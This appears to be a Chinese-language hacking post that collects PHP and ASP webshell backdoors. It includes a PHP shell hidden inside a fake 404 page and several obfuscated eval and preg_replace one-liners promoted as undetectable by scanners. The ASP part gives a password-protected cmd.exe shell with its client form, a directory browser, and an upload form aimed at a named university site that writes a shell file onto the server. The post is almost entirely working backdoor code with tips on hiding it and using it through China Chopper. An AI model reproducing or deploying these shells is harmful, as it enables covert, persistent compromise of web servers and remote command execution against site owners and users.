php

    

利用404页面隐藏PHP小马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html><?php@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>

404页面是网站常用的文件一般建议好后很少有人会去对它进行检查修改这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话

<?php
session_start();$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

将$_POST['code']的内容赋值给$_SESSION['theCode']然后执行$_SESSION['theCode']亮点是没有特征码。用扫描工具来检查代码的话是不会报警的达到目的了。

超级隐蔽的PHP后门

<?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了***

利用方法

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话***当传参a为eval时会报错***生成失败为assert时同样报错但会生成***真可谓不可小视简简单单的一句话被延伸到这般应用。

层级请求编码运行PHP后门
此方法用两个文件实现文件1

<?php//1.phpheader('Content-type:text/html;charset=utf-8');parse_str($_SERVER['HTTP_REFERER'], $a);if(reset($a) == '10' && count($a) == 9) {   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));}

文件2

<?php//2.phpheader('Content-type:text/html;charset=utf-8');//要执行的代码$code = <<<CODE
phpinfo();CODE;//进行base64编码$code = base64_encode($code);//构造referer字符串$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";//后门url$url = 'http://localhost/test1/1.php';$ch = curl_init();$options = array(    CURLOPT_URL => $url,    CURLOPT_HEADER => FALSE,    CURLOPT_RETURNTRANSFER => TRUE,    CURLOPT_REFERER => $referer);curl_setopt_array($ch, $options);echo curl_exec($ch);

三个变形的一句话PHP***
第一个

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1

第二个

<?php
$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?><?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽或者用其它注射工具也可以因为是post提交的。

第三个

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的eval完全避开了关键字又不失效果让人吐血

最后列几个高级的PHP一句话***后门

1、$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话2、$filename=$_GET['xbid'];include ($filename);//危险的include函数直接编译任何文件为php格式运行3、$reg="c"."o"."p"."y";$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);//重命名任何文件4、$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$gzid("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话5、include ($uid);//危险的include函数直接编译任何文件为php格式运行POST www.xxx.com/index.php?uid=/home/www/bbs/p_w_picpath.gif//gif插一句话6、典型一句话程序后门代码<?php eval_r($_POST[sb])?>程序代码<?php @eval_r($_POST[sb])?>//容错代码程序代码<?php assert($_POST[sb]);?>//使用lanker一句话客户端的专家模式执行相关的php语句程序代码<?$_POST['sa']($_POST['sb']);?>程序代码<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>程序代码<?php@preg_replace("/[email]/e",$_POST['h'],"error");?>//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入程序代码<O>h=@eval_r($_POST1);</O>程序代码<script language="php">@eval_r($_POST[sb])</script>//绕过<?限制的一句话

综上

asp

    ASP一句话***大全

<%eval request("MH")%>

<%execute request("MH")%>

<%execute(request("MH"))%>

<%If Request("MH")<>""Then Execute(Request("MH"))%>

<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

<SCRIPT language=VBScriptrunat="server">executerequest("MH")</SCRIPT>

<%@ Page Language="Jscript"%>

<%eval_r(Request.Item["MH"],"unsafe");%>


1asp一句话***
一句话*** 服务器端
带验证:
——————————————cmd.asp————————————————
<%
if request("authkey")="pic16f873a" then
%>
<textarea readonly cols=80rows=25>
<%response.writeserver.createobject("wscript.shell").exec("cmd.exe /c"&request("cmd")).stdout.readall%>
</textarea>
<%
end if
%>

带验证 客户端
——————————————cmd.html————————————————
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html;charset=gbk">
</HEAD>
<div align=center>
<FORM method=post name=frmtarget=_blank>
Host:<input type=text name=act size=65value="
http://">
<br>
<br>
Cmd :<input type=text name=cmd size=65value="cmd">
<br>
<br>
<input type=hidden name=authkeyvalue="pic16f873a">
<Input name=Send
οnclick="Javascipt:frm.action=document.frm.act.value;
frm.submit();"
type=button value="Send Command">
</FORM>
</div>



目录浏览

服务器端
_________________________________________
<%
if request("authkey")="pic16f873a" then
szPara = Request.Form("path")
set shell=server.createobject("shell.application")
set dir1=shell.namespace(szPara)
set diritems=dir1.items

for each iii in diritems
response.write iii.path & "<fontcolor=blue>[" & iii.size&"]</font><br>"
next
end if
%>
_________________________________________
客户端
__________________________________________
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html;charset=gbk">
</HEAD>
<div align=center>
<FORM method=post name=frmtarget=_blank>
Host:<input type=text name=act size=65value="
http://">
<br>
<br>
Path:<input type=text name=path size=65value="C:\">
<br>
<br>
<input type=hidden name=authkeyvalue="pic16f873a">
<Input name=Sendοnclick="Javascipt:frm.action=document.frm.act.value;frm.submit();"
type=button value="Send Command">

</FORM>
</div>


一句话***客户端源文件

里面涉及到一些脚本知识我就只讲解一下功能和简单注释不详细讲了大家只要注意几个注意点就行了
***********************************************************

<form action=
http://cjy.xjife.edu.cn/news/ebook/db/ebook.aspmethod=post>
//"action="后面是需要修改的以asp命名的数据库的提交地址
//这个标签的意思是建立一个表单 以post方式提交给连接
http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp处理

<textarea name=value cols=120 rows=10width=45>
//这里的value值根据服务端<%executerequest("value")%>中value而设定
//可以自行修改成<%executerequest("p")%>相应这里的value值也必须改为p

setlP=server.createObject("Adodb.Stream")//建立流对象有了对象才可以使用它固有的属性和方法
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("joeving") //取得***内容 参数joeving可以自己定义但必须和下面的name=joeving相对应
lP.SaveToFile server.mappath("wei.asp"),2
//将***内容以覆盖文件的方式写入wei.asp
//2就是已覆盖的方式这里的wei.asp也是可以自己定义的如定义成1.asp
//但和下面的response.redirect"wei.asp"中wei.asp的保持一致
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "wei.asp"//转向生成的wei.asp和上面的wei.asp相对应也就是你熟悉的asp***登陆界面
</textarea>
//这段程序的功能利用插入到数据库文件的<%executerequest("value")%>这段代码执行第一个textarea中的内容并将添加的***内容写入和指向wei.asp这样就相当于在服务器上建立了个asp***文件这样就可以取得webshell了

<textarea name=joeving cols=120 rows=10width=45>添入生成***的内容/textarea><BR><center><br>
//这段标签是你用来添加***内容用的

<input type=submit value=提交>
</form>

***********************************************************

//程序的主要框架是
<form>
<textarea></textarea>//取得***内容并用无组件上传技术在服务器端创建asp***文件并显示
<textarea></textarea>//添加***内容用的
</form>
其实都是些很简单的一些html和asp